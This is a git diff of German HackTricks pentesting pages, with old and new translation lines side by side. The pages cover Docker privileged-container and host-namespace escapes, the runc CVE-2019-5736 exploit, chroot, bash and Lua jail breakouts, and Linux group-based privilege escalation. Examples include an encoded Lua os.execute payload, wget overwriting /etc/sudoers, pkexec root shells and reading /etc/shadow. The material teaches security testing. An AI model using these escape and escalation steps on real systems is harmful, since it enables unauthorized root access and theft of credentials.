Mit dieser Fähigkeit darf der Root-Benutzer innerhalb des Containers **Blockgerätedateien erstellen**. Gerätedateien sind spezielle Dateien, die verwendet werden, um **auf die zugrunde liegende Hardware & Kernel-Module zuzugreifen**. Zum Beispiel gibt die Blockgerätedatei /dev/sda Zugriff auf **das Rohdatenlesen auf der Systemfestplatte**.
Docker schützt vor dem Missbrauch von Blockgeräten innerhalb von Containern, indem eine cgroup-Richtlinie durchgesetzt wird, die **Lese-/Schreiboperationen auf Blockgeräten blockiert**. Dennoch, wenn ein Blockgerät **innerhalb des Containers erstellt wird**, wird es über das Verzeichnis **/proc/PID/root/** von außerhalb des Containers zugänglich. Dieser Zugriff erfordert, dass **der Prozessbesitzer sowohl innerhalb als auch außerhalb des Containers derselbe ist**.
@ -417,22 +419,22 @@ cat /proc/635813/fd/4
Sie können auch **Prozesse beenden und einen DoS verursachen**.
> [!WARNING]
> Wenn Sie irgendwie privilegierten **Zugriff auf einen Prozess außerhalb des Containers** haben, könnten Sie etwas wie `nsenter --target <pid> --all` oder `nsenter --target <pid> --mount --net --pid --cgroup` ausführen, um **eine Shell mit den gleichen ns-Beschränkungen** (hoffentlich keine) **wie dieser Prozess auszuführen.**
> Wenn Sie irgendwie privilegierten **Zugriff auf einen Prozess außerhalb des Containers** haben, könnten Sie etwas wie `nsenter --target <pid> --all` oder `nsenter --target <pid> --mount --net --pid --cgroup` ausführen, um **eine Shell mit den gleichen ns-Einschränkungen** (hoffentlich keine) **wie dieser Prozess zu starten.**
### hostNetwork
```
docker run --rm -it --network=host ubuntu bash
```
Wenn ein Container mit dem Docker [Host-Netzwerk-Driver (`--network=host`)](https://docs.docker.com/network/host/) konfiguriert wurde, ist der Netzwerk-Stack dieses Containers nicht vom Docker-Host isoliert (der Container teilt sich den Netzwerk-Namespace des Hosts), und der Container erhält keine eigene IP-Adresse. Mit anderen Worten, der **Container bindet alle Dienste direkt an die IP des Hosts**. Darüber hinaus kann der Container **ALLE Netzwerkverkehr abfangen, den der Host** über die gemeinsame Schnittstelle sendet und empfängt `tcpdump -i eth0`.
Wenn ein Container mit dem Docker [Host-Netzwerk-Driver (`--network=host`)](https://docs.docker.com/network/host/) konfiguriert wurde, ist der Netzwerk-Stack dieses Containers nicht vom Docker-Host isoliert (der Container teilt sich den Netzwerk-Namespace des Hosts), und der Container erhält keine eigene IP-Adresse. Mit anderen Worten, der **Container bindet alle Dienste direkt an die IP des Hosts**. Darüber hinaus kann der Container **ALLE Netzwerkverkehr, den der Host** sendet und empfängt, auf der gemeinsamen Schnittstelle `tcpdump -i eth0` abfangen.
Zum Beispiel können Sie dies verwenden, um **Verkehr abzuhören und sogar zu fälschen** zwischen Host und Metadateninstanz.
Zum Beispiel kannst du dies verwenden, um **Verkehr abzuhören und sogar zu fälschen** zwischen Host und Metadateninstanz.
Wie in den folgenden Beispielen:
- [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
- [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)
Sie werden auch in der Lage sein, **Netzwerkdienste, die an localhost gebunden sind**, innerhalb des Hosts zuzugreifen oder sogar die **Metadatenberechtigungen des Knotens** zuzugreifen (die möglicherweise anders sind als die, auf die ein Container zugreifen kann).
Du wirst auch in der Lage sein, **Netzwerkdienste, die an localhost gebunden sind**, innerhalb des Hosts zuzugreifen oder sogar die **Metadatenberechtigungen des Knotens** (die möglicherweise anders sind als die, auf die ein Container zugreifen kann) zu erreichen.
### hostIPC
```bash
@ -440,8 +442,8 @@ docker run --rm -it --ipc=host ubuntu bash
```
Mit `hostIPC=true` erhalten Sie Zugriff auf die interprozessuale Kommunikation (IPC) Ressourcen des Hosts, wie z.B. **gemeinsamen Speicher** in `/dev/shm`. Dies ermöglicht das Lesen/Schreiben, wo dieselben IPC-Ressourcen von anderen Host- oder Pod-Prozessen verwendet werden. Verwenden Sie `ipcs`, um diese IPC-Mechanismen weiter zu inspizieren.
- **Untersuchen Sie /dev/shm** - Suchen Sie nach Dateien in diesem gemeinsamen Speicherort: `ls -la /dev/shm`
- **Überprüfen Sie vorhandene IPC-Einrichtungen** Sie können überprüfen, ob IPC-Einrichtungen verwendet werden mit `/usr/bin/ipcs`. Überprüfen Sie es mit: `ipcs -a`
- **Inspektieren von /dev/shm** - Suchen Sie nach Dateien in diesem gemeinsamen Speicherort: `ls -la /dev/shm`
- **Inspektieren vorhandener IPC-Einrichtungen** Sie können überprüfen, ob IPC-Einrichtungen verwendet werden mit `/usr/bin/ipcs`. Überprüfen Sie es mit: `ipcs -a`
### Fähigkeiten wiederherstellen
@ -459,7 +461,7 @@ Die zweite Technik, die im Beitrag [https://labs.withsecure.com/blog/abusing-the
### Runc-Exploit (CVE-2019-5736)
Falls Sie `docker exec` als root ausführen können (wahrscheinlich mit sudo), versuchen Sie, die Berechtigungen zu eskalieren, indem Sie aus einem Container unter Ausnutzung von CVE-2019-5736 entkommen (Exploit [hier](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Diese Technik wird im Wesentlichen die _**/bin/sh**_ Binärdatei des **Hosts** **aus einem Container** **überschreiben**, sodass jeder, der docker exec ausführt, die Payload auslösen kann.
Falls Sie `docker exec` als root ausführen können (wahrscheinlich mit sudo), versuchen Sie, die Berechtigungen zu eskalieren, indem Sie aus einem Container unter Ausnutzung von CVE-2019-5736 entkommen (Exploit [hier](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Diese Technik wird im Wesentlichen **die** _**/bin/sh**_ Binärdatei des **Hosts** **aus einem Container** **überschreiben**, sodass jeder, der docker exec ausführt, die Payload auslösen kann.
Ändern Sie die Payload entsprechend und bauen Sie die main.go mit `go build main.go`. Die resultierende Binärdatei sollte im Docker-Container zur Ausführung platziert werden.\
Bei der Ausführung, sobald es `[+] Overwritten /bin/sh successfully` anzeigt, müssen Sie Folgendes von der Host-Maschine aus ausführen:
@ -470,7 +472,7 @@ Dies wird die Payload auslösen, die in der main.go-Datei vorhanden ist.
Für weitere Informationen: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
> [!NOTE]
> [!TIP]
> Es gibt andere CVEs, für die der Container anfällig sein kann, eine Liste finden Sie unter [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
## Docker Custom Escape

View File

@ -20,7 +20,7 @@ core full null pts shm stdin tty zero
```
{{#endtab}}
{{#tab name="Innerhalb des privilegierten Containers"}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
ls /dev
@ -35,7 +35,7 @@ cpu nbd0 pts stdout tty27
### Schreibgeschützte Kernel-Dateisysteme
Kernel-Dateisysteme bieten einen Mechanismus, um das Verhalten des Kernels durch einen Prozess zu ändern. Wenn es jedoch um Containerprozesse geht, möchten wir verhindern, dass sie Änderungen am Kernel vornehmen. Daher montieren wir Kernel-Dateisysteme als **schreibgeschützt** innerhalb des Containers, um sicherzustellen, dass die Containerprozesse den Kernel nicht ändern können.
Kernel-Dateisysteme bieten einen Mechanismus, um das Verhalten des Kernels durch einen Prozess zu ändern. Wenn es jedoch um Containerprozesse geht, wollen wir verhindern, dass sie Änderungen am Kernel vornehmen. Daher mounten wir Kernel-Dateisysteme als **schreibgeschützt** innerhalb des Containers, um sicherzustellen, dass die Containerprozesse den Kernel nicht modifizieren können.
{{#tabs}}
{{#tab name="Inside default container"}}
@ -49,7 +49,7 @@ cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,c
```
{{#endtab}}
{{#tab name="Innerhalb des privilegierten Containers"}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep '(ro'
@ -59,7 +59,7 @@ mount | grep '(ro'
### Maskierung über Kernel-Dateisysteme
Das **/proc**-Dateisystem ist selektiv beschreibbar, aber aus Sicherheitsgründen sind bestimmte Teile durch Überlagerung mit **tmpfs** vor Lese- und Schreibzugriff geschützt, sodass Containerprozesse nicht auf sensible Bereiche zugreifen können.
Das **/proc**-Dateisystem ist selektiv beschreibbar, aber aus Sicherheitsgründen sind bestimmte Teile durch Überlagerung mit **tmpfs** vor Lese- und Schreibzugriffen geschützt, um sicherzustellen, dass Containerprozesse nicht auf sensible Bereiche zugreifen können.
> [!NOTE] > **tmpfs** ist ein Dateisystem, das alle Dateien im virtuellen Speicher speichert. tmpfs erstellt keine Dateien auf Ihrer Festplatte. Wenn Sie ein tmpfs-Dateisystem aushängen, gehen alle darin befindlichen Dateien für immer verloren.
@ -86,12 +86,13 @@ mount | grep /proc.*tmpfs
Container-Engines starten die Container mit einer **begrenzten Anzahl von Fähigkeiten**, um standardmäßig zu kontrollieren, was im Inneren des Containers passiert. **Privilegierte** haben **alle** **Fähigkeiten** zugänglich. Um mehr über Fähigkeiten zu erfahren, lesen Sie:
{{#ref}}
../linux-capabilities.md
{{#endref}}
{{#tabs}}
{{#tab name="Inside default container"}}
{{#tab name="Innerhalb des Standardcontainers"}}
```bash
# docker run --rm -it alpine sh
apk add -U libcap; capsh --print
@ -102,7 +103,7 @@ Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setg
```
{{#endtab}}
{{#tab name="Innerhalb des privilegierten Containers"}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
apk add -U libcap; capsh --print
@ -114,12 +115,13 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset
{{#endtab}}
{{#endtabs}}
Sie können die für einen Container verfügbaren Berechtigungen manipulieren, ohne im `--privileged`-Modus zu laufen, indem Sie die Flags `--cap-add` und `--cap-drop` verwenden.
Sie können die verfügbaren Berechtigungen für einen Container manipulieren, ohne im `--privileged` Modus zu laufen, indem Sie die Flags `--cap-add` und `--cap-drop` verwenden.
### Seccomp
**Seccomp** ist nützlich, um die **syscalls** zu **beschränken**, die ein Container aufrufen kann. Ein standardmäßiges Seccomp-Profil ist standardmäßig aktiviert, wenn Docker-Container ausgeführt werden, aber im privilegierten Modus ist es deaktiviert. Erfahren Sie hier mehr über Seccomp:
{{#ref}}
seccomp.md
{{#endref}}
@ -134,7 +136,7 @@ Seccomp_filters: 1
```
{{#endtab}}
{{#tab name="Innerhalb des privilegierten Containers"}}
{{#tab name="Inside Privileged Container"}}
```bash
# docker run --rm --privileged -it alpine sh
grep Seccomp /proc/1/status
@ -147,7 +149,7 @@ Seccomp_filters: 0
# You can manually disable seccomp in docker with
--security-opt seccomp=unconfined
```
Beachten Sie auch, dass der **seccomp-Filter standardmäßig deaktiviert ist**, wenn Docker (oder andere CRIs) in einem **Kubernetes**-Cluster verwendet werden.
Auch zu beachten ist, dass wenn Docker (oder andere CRIs) in einem **Kubernetes**-Cluster verwendet werden, der **seccomp-Filter standardmäßig deaktiviert ist**.
### AppArmor
@ -162,7 +164,8 @@ apparmor.md
```
### SELinux
Das Ausführen eines Containers mit dem `--privileged`-Flag deaktiviert **SELinux-Labels**, wodurch er das Label der Container-Engine erbt, typischerweise `unconfined`, was vollen Zugriff ähnlich der Container-Engine gewährt. Im rootlosen Modus wird `container_runtime_t` verwendet, während im Root-Modus `spc_t` angewendet wird.
Das Ausführen eines Containers mit dem `--privileged`-Flag deaktiviert **SELinux-Labels**, wodurch es das Label der Container-Engine erbt, typischerweise `unconfined`, was vollen Zugriff ähnlich der Container-Engine gewährt. Im rootlosen Modus verwendet es `container_runtime_t`, während im Root-Modus `spc_t` angewendet wird.
{{#ref}}
../selinux.md
@ -171,11 +174,11 @@ Das Ausführen eines Containers mit dem `--privileged`-Flag deaktiviert **SELinu
# You can manually disable selinux in docker with
--security-opt label:disable
```
## Was Nicht Beeinflusst
## Was nicht betroffen ist
### Namespaces
Namespaces sind **NICHT betroffen** von der `--privileged` Flagge. Auch wenn sie die Sicherheitsbeschränkungen nicht aktiviert haben, **sehen sie beispielsweise nicht alle Prozesse im System oder im Host-Netzwerk**. Benutzer können einzelne Namespaces deaktivieren, indem sie die **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** Container-Engine-Flags verwenden.
Namespaces sind **NICHT betroffen** von der `--privileged`-Option. Auch wenn sie keine Sicherheitsbeschränkungen aktiviert haben, **sehen sie beispielsweise nicht alle Prozesse im System oder im Host-Netzwerk**. Benutzer können einzelne Namespaces deaktivieren, indem sie die **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** Container-Engine-Flags verwenden.
{{#tabs}}
{{#tab name="Inside default privileged container"}}

View File

@ -4,42 +4,49 @@
### **PID-Namespace**
{{#ref}}
pid-namespace.md
{{#endref}}
### **Mount-Namespace**
{{#ref}}
mount-namespace.md
{{#endref}}
### **Netzwerk-Namespace**
{{#ref}}
network-namespace.md
{{#endref}}
### **IPC-Namespace**
{{#ref}}
ipc-namespace.md
{{#endref}}
### **UTS-Namespace**
{{#ref}}
uts-namespace.md
{{#endref}}
### Zeit-Namespace
{{#ref}}
time-namespace.md
{{#endref}}
### Benutzer-Namespace
{{#ref}}
user-namespace.md
{{#endref}}

View File

@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Grundinformationen
## Grundlegende Informationen
Ein cgroup-Namespace ist eine Funktion des Linux-Kernels, die **Isolation von cgroup-Hierarchien für Prozesse, die innerhalb eines Namespaces ausgeführt werden**, bereitstellt. Cgroups, kurz für **control groups**, sind eine Kernel-Funktion, die es ermöglicht, Prozesse in hierarchischen Gruppen zu organisieren, um **Grenzen für Systemressourcen** wie CPU, Speicher und I/O zu verwalten und durchzusetzen.
@ -16,6 +16,7 @@ Während cgroup-Namensräume kein separater Namespace-Typ wie die anderen, die w
Für weitere Informationen über CGroups siehe:
{{#ref}}
../cgroups.md
{{#endref}}
@ -28,7 +29,7 @@ Für weitere Informationen über CGroups siehe:
```bash
sudo unshare -C [--mount-proc] /bin/bash
```
Durch das Einhängen einer neuen Instanz des `/proc`-Dateisystems, wenn Sie den Parameter `--mount-proc` verwenden, stellen Sie sicher, dass der neue Mount-Namespace eine **genaue und isolierte Sicht auf die Prozessinformationen hat, die spezifisch für diesen Namespace sind**.
Durch das Einhängen einer neuen Instanz des `/proc` Dateisystems, wenn Sie den Parameter `--mount-proc` verwenden, stellen Sie sicher, dass der neue Mount-Namespace eine **genaue und isolierte Sicht auf die prozessspezifischen Informationen hat, die zu diesem Namespace gehören**.
<details>
@ -36,21 +37,21 @@ Durch das Einhängen einer neuen Instanz des `/proc`-Dateisystems, wenn Sie den
Wenn `unshare` ohne die Option `-f` ausgeführt wird, tritt ein Fehler auf, der auf die Art und Weise zurückzuführen ist, wie Linux neue PID (Process ID) Namespaces behandelt. Die wichtigsten Details und die Lösung sind unten aufgeführt:
1. **Problemerklärung**:
1. **Problembeschreibung**:
- Der Linux-Kernel erlaubt es einem Prozess, neue Namespaces mit dem Systemaufruf `unshare` zu erstellen. Der Prozess, der die Erstellung eines neuen PID-Namespace initiiert (als "unshare"-Prozess bezeichnet), tritt jedoch nicht in den neuen Namespace ein; nur seine Kindprozesse tun dies.
- Der Linux-Kernel erlaubt es einem Prozess, neue Namespaces mit dem Systemaufruf `unshare` zu erstellen. Der Prozess, der die Erstellung eines neuen PID-Namespace initiiert (als "unshare" Prozess bezeichnet), tritt jedoch nicht in den neuen Namespace ein; nur seine Kindprozesse tun dies.
- Das Ausführen von `%unshare -p /bin/bash%` startet `/bin/bash` im selben Prozess wie `unshare`. Folglich befinden sich `/bin/bash` und seine Kindprozesse im ursprünglichen PID-Namespace.
- Der erste Kindprozess von `/bin/bash` im neuen Namespace wird zu PID 1. Wenn dieser Prozess beendet wird, wird die Bereinigung des Namespaces ausgelöst, wenn keine anderen Prozesse vorhanden sind, da PID 1 die besondere Rolle hat, verwaiste Prozesse zu übernehmen. Der Linux-Kernel deaktiviert dann die PID-Zuweisung in diesem Namespace.
- Der erste Kindprozess von `/bin/bash` im neuen Namespace wird PID 1. Wenn dieser Prozess beendet wird, wird die Bereinigung des Namespaces ausgelöst, wenn keine anderen Prozesse vorhanden sind, da PID 1 die besondere Rolle hat, verwaiste Prozesse zu übernehmen. Der Linux-Kernel deaktiviert dann die PID-Zuweisung in diesem Namespace.
2. **Folge**:
- Das Beenden von PID 1 in einem neuen Namespace führt zur Bereinigung des `PIDNS_HASH_ADDING`-Flags. Dies führt dazu, dass die Funktion `alloc_pid` bei der Erstellung eines neuen Prozesses fehlschlägt, was den Fehler "Kann Speicher nicht zuweisen" erzeugt.
- Das Verlassen von PID 1 in einem neuen Namespace führt zur Bereinigung des `PIDNS_HASH_ADDING` Flags. Dies führt dazu, dass die Funktion `alloc_pid` fehlschlägt, wenn versucht wird, eine neue PID zuzuweisen, was den Fehler "Kann Speicher nicht zuweisen" erzeugt.
3. **Lösung**:
- Das Problem kann gelöst werden, indem die Option `-f` mit `unshare` verwendet wird. Diese Option bewirkt, dass `unshare` einen neuen Prozess nach der Erstellung des neuen PID-Namespace forked.
- Das Ausführen von `%unshare -fp /bin/bash%` stellt sicher, dass der `unshare`-Befehl selbst PID 1 im neuen Namespace wird. `/bin/bash` und seine Kindprozesse sind dann sicher in diesem neuen Namespace enthalten, wodurch das vorzeitige Beenden von PID 1 verhindert wird und eine normale PID-Zuweisung ermöglicht wird.
- Das Problem kann gelöst werden, indem die Option `-f` mit `unshare` verwendet wird. Diese Option sorgt dafür, dass `unshare` einen neuen Prozess nach der Erstellung des neuen PID-Namespace forked.
- Das Ausführen von `%unshare -fp /bin/bash%` stellt sicher, dass der `unshare` Befehl selbst PID 1 im neuen Namespace wird. `/bin/bash` und seine Kindprozesse sind dann sicher in diesem neuen Namespace enthalten, wodurch der vorzeitige Austritt von PID 1 verhindert wird und eine normale PID-Zuweisung ermöglicht wird.
Durch die Sicherstellung, dass `unshare` mit dem `-f`-Flag ausgeführt wird, wird der neue PID-Namespace korrekt aufrechterhalten, sodass `/bin/bash` und seine Unterprozesse ohne den Speicherzuweisungsfehler arbeiten können.
Indem sichergestellt wird, dass `unshare` mit dem `-f` Flag ausgeführt wird, wird der neue PID-Namespace korrekt aufrechterhalten, sodass `/bin/bash` und seine Unterprozesse ohne den Speicherzuweisungsfehler arbeiten können.
</details>

View File

@ -12,7 +12,7 @@ Von [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): Der chroot-Me
Normalerweise bedeutet dies, dass du root innerhalb des chroot sein musst, um auszubrechen.
> [!TIP]
> Das **Werkzeug** [**chw00t**](https://github.com/earthquake/chw00t) wurde entwickelt, um die folgenden Szenarien auszunutzen und aus `chroot` auszubrechen.
> Das **Tool** [**chw00t**](https://github.com/earthquake/chw00t) wurde entwickelt, um die folgenden Szenarien auszunutzen und aus `chroot` auszubrechen.
### Root + CWD
@ -79,7 +79,7 @@ system("/bin/bash");
### Root + Gespeicherter fd
> [!WARNING]
> Dies ist ähnlich wie im vorherigen Fall, aber in diesem Fall **speichert der Angreifer einen Dateideskriptor für das aktuelle Verzeichnis** und **erstellt das chroot in einem neuen Ordner**. Schließlich hat er **Zugriff** auf diesen **FD** **außerhalb** des chroot, er greift darauf zu und **entkommt**.
> Dies ist ähnlich wie im vorherigen Fall, aber in diesem Fall **speichert der Angreifer einen Dateideskriptor für das aktuelle Verzeichnis** und **erstellt dann das chroot in einem neuen Ordner**. Schließlich hat er **Zugriff** auf diesen **FD** **außerhalb** des chroot, er greift darauf zu und **entkommt**.
<details>
@ -116,7 +116,7 @@ chroot(".");
> - Führe chroot im Kindprozess in einem anderen Ordner aus
> - Erstelle im Elternprozess einen FD eines Ordners, der außerhalb des neuen chroot des Kindprozesses liegt
> - Übergebe diesen FD an den Kindprozess über die UDS
> - Der Kindprozess wechselt in das Verzeichnis dieses FD, und da es außerhalb seines chroot ist, wird er aus dem Gefängnis entkommen
> - Der Kindprozess wechselt in diesen FD, und da er außerhalb seines chroot ist, wird er aus dem Gefängnis entkommen
### Root + Mount
@ -131,7 +131,7 @@ chroot(".");
> [!WARNING]
>
> - Montiere procfs in ein Verzeichnis innerhalb des chroot (falls es noch nicht geschehen ist)
> - Montiere procfs in ein Verzeichnis innerhalb des chroot (falls noch nicht geschehen)
> - Suche nach einer PID, die einen anderen root/cwd-Eintrag hat, wie: /proc/1/root
> - Chroote in diesen Eintrag
@ -147,7 +147,7 @@ chroot(".");
> [!WARNING]
>
> - Vor einiger Zeit konnten Benutzer ihre eigenen Prozesse von einem eigenen Prozess debuggen... aber das ist standardmäßig nicht mehr möglich
> - Vor einiger Zeit konnten Benutzer ihre eigenen Prozesse von einem Prozess aus debuggen... aber das ist standardmäßig nicht mehr möglich
> - Wenn es jedoch möglich ist, könntest du ptrace in einen Prozess und einen Shellcode darin ausführen ([siehe dieses Beispiel](linux-capabilities.md#cap_sys_ptrace)).
## Bash Jails
@ -175,9 +175,9 @@ echo /home/* #List directory
:set shell=/bin/sh
:shell
```
### Skript erstellen
### Erstelle Skript
Überprüfen Sie, ob Sie eine ausführbare Datei mit _/bin/bash_ als Inhalt erstellen können.
Überprüfe, ob du eine ausführbare Datei mit _/bin/bash_ als Inhalt erstellen kannst
```bash
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path
@ -209,13 +209,15 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
[https://gtfobins.github.io](https://gtfobins.github.io)\
**Es könnte auch interessant sein, die Seite zu besuchen:**
{{#ref}}
../bypass-bash-restrictions/
{{#endref}}
## Python Jails
Tricks zum Entkommen aus Python-Jails auf der folgenden Seite:
Tricks zum Entkommen aus Python-Jails finden Sie auf der folgenden Seite:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -229,7 +231,7 @@ Auf dieser Seite finden Sie die globalen Funktionen, auf die Sie innerhalb von L
```bash
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
```
Einige Tricks, um **Funktionen einer Bibliothek aufzurufen, ohne Punkte zu verwenden**:
Einige Tricks, um **Funktionen einer Bibliothek ohne Verwendung von Punkten aufzurufen**:
```bash
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))
@ -238,7 +240,7 @@ Auflisten von Funktionen einer Bibliothek:
```bash
for k,v in pairs(string) do print(k,v) end
```
Beachten Sie, dass sich bei jeder Ausführung der vorherigen Einzeiler in einer **anderen Lua-Umgebung die Reihenfolge der Funktionen ändert**. Daher können Sie, wenn Sie eine bestimmte Funktion ausführen müssen, einen Brute-Force-Angriff durchführen, indem Sie verschiedene Lua-Umgebungen laden und die erste Funktion der Bibliothek aufrufen:
Beachten Sie, dass sich **die Reihenfolge der Funktionen ändert**, jedes Mal, wenn Sie die vorherige Einzeiler in einer **anderen Lua-Umgebung ausführen**. Daher können Sie, wenn Sie eine bestimmte Funktion ausführen müssen, einen Brute-Force-Angriff durchführen, indem Sie verschiedene Lua-Umgebungen laden und die erste Funktion der Bibliothek aufrufen:
```bash
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky

View File

@ -22,28 +22,28 @@ sudo su
```
### PE - Methode 2
Finde alle SUID-Binärdateien und überprüfe, ob die Binärdatei **Pkexec** vorhanden ist:
Finden Sie alle SUID-Binärdateien und überprüfen Sie, ob die Binärdatei **Pkexec** vorhanden ist:
```bash
find / -perm -4000 2>/dev/null
```
Wenn Sie feststellen, dass die Binärdatei **pkexec eine SUID-Binärdatei ist** und Sie zu **sudo** oder **admin** gehören, können Sie wahrscheinlich Binärdateien als sudo mit `pkexec` ausführen.\
Das liegt daran, dass dies typischerweise die Gruppen innerhalb der **polkit-Richtlinie** sind. Diese Richtlinie identifiziert im Wesentlichen, welche Gruppen `pkexec` verwenden können. Überprüfen Sie es mit:
Wenn Sie feststellen, dass die Binärdatei **pkexec eine SUID-Binärdatei ist** und Sie zur Gruppe **sudo** oder **admin** gehören, können Sie wahrscheinlich Binärdateien als sudo mit `pkexec` ausführen.\
Das liegt daran, dass dies typischerweise die Gruppen innerhalb der **polkit-Richtlinie** sind. Diese Richtlinie identifiziert im Wesentlichen, welche Gruppen `pkexec` verwenden können. Überprüfen Sie dies mit:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Dort finden Sie, welche Gruppen berechtigt sind, **pkexec** auszuführen, und **standardmäßig** erscheinen in einigen Linux-Distributionen die Gruppen **sudo** und **admin**.
Um **Root zu werden, können Sie** Folgendes ausführen:
Um **root zu werden, können Sie ausführen**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
Wenn Sie versuchen, **pkexec** auszuführen und Sie diese **Fehlermeldung** erhalten:
Wenn Sie versuchen, **pkexec** auszuführen und Sie diesen **Fehler** erhalten:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**Es liegt nicht daran, dass Sie keine Berechtigungen haben, sondern weil Sie ohne eine GUI nicht verbunden sind**. Und es gibt eine Lösung für dieses Problem hier: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Sie benötigen **2 verschiedene SSH-Sitzungen**:
**Es liegt nicht daran, dass Sie keine Berechtigungen haben, sondern daran, dass Sie ohne eine GUI nicht verbunden sind**. Und es gibt einen Workaround für dieses Problem hier: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Sie benötigen **2 verschiedene SSH-Sitzungen**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -56,7 +56,7 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
```
## Wheel-Gruppe
**Manchmal** finden Sie **standardmäßig** in der **/etc/sudoers**-Datei diese Zeile:
**Manchmal** **findet man standardmäßig** in der **/etc/sudoers**-Datei diese Zeile:
```
%wheel ALL=(ALL:ALL) ALL
```
@ -68,7 +68,7 @@ sudo su
```
## Shadow-Gruppe
Benutzer aus der **Gruppe shadow** können die **/etc/shadow**-Datei **lesen**:
Benutzer der **Gruppe shadow** können die **/etc/shadow**-Datei **lesen**:
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
@ -96,7 +96,7 @@ $ cat /etc/crontab | grep run-parts
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
```
oder Wenn ein neues SSH-Sitzungs-Login erfolgt.
oder Wenn ein neuer SSH-Sitzungs-Login erfolgt.
```bash
$ pspy64
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
@ -132,7 +132,7 @@ $ /bin/bash -p
Dieses Privileg ist fast **äquivalent zu Root-Zugriff**, da Sie auf alle Daten innerhalb der Maschine zugreifen können.
Files:`/dev/sd[a-z][1-9]`
Dateien:`/dev/sd[a-z][1-9]`
```bash
df -h #Find where "/" is mounted
debugfs /dev/sda1
@ -146,11 +146,11 @@ Beachten Sie, dass Sie mit debugfs auch **Dateien schreiben** können. Um beispi
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
Allerdings, wenn Sie versuchen, **Dateien, die dem Root gehören** (wie `/etc/shadow` oder `/etc/passwd`) zu **schreiben**, erhalten Sie einen "**Zugriff verweigert**" Fehler.
Wenn Sie jedoch versuchen, **Dateien, die dem Root-Benutzer gehören** (wie `/etc/shadow` oder `/etc/passwd`), zu **schreiben**, erhalten Sie einen "**Zugriff verweigert**"-Fehler.
## Video Gruppe
## Video-Gruppe
Mit dem Befehl `w` können Sie **herausfinden, wer im System angemeldet ist** und es wird eine Ausgabe wie die folgende angezeigt:
Mit dem Befehl `w` können Sie **herausfinden, wer im System angemeldet ist**, und es wird eine Ausgabe wie die folgende angezeigt:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
@ -158,7 +158,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
Die **tty1** bedeutet, dass der Benutzer **yossi physisch** an einem Terminal auf der Maschine angemeldet ist.
Die **Video-Gruppe** hat Zugriff auf die Anzeige der Bildschirmausgabe. Grundsätzlich können Sie die Bildschirme beobachten. Um dies zu tun, müssen Sie **das aktuelle Bild auf dem Bildschirm** in Rohdaten erfassen und die Auflösung ermitteln, die der Bildschirm verwendet. Die Bildschirmdaten können in `/dev/fb0` gespeichert werden, und Sie können die Auflösung dieses Bildschirms unter `/sys/class/graphics/fb0/virtual_size` finden.
Die **video-Gruppe** hat Zugriff auf die Anzeige des Bildschirmausgangs. Grundsätzlich können Sie die Bildschirme beobachten. Um dies zu tun, müssen Sie **das aktuelle Bild auf dem Bildschirm** in Rohdaten erfassen und die Auflösung ermitteln, die der Bildschirm verwendet. Die Bildschirmdaten können in `/dev/fb0` gespeichert werden, und Sie können die Auflösung dieses Bildschirms unter `/sys/class/graphics/fb0/virtual_size` finden.
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
@ -173,7 +173,7 @@ Um das **raw image** zu **öffnen**, können Sie **GIMP** verwenden, die **`scre
## Root-Gruppe
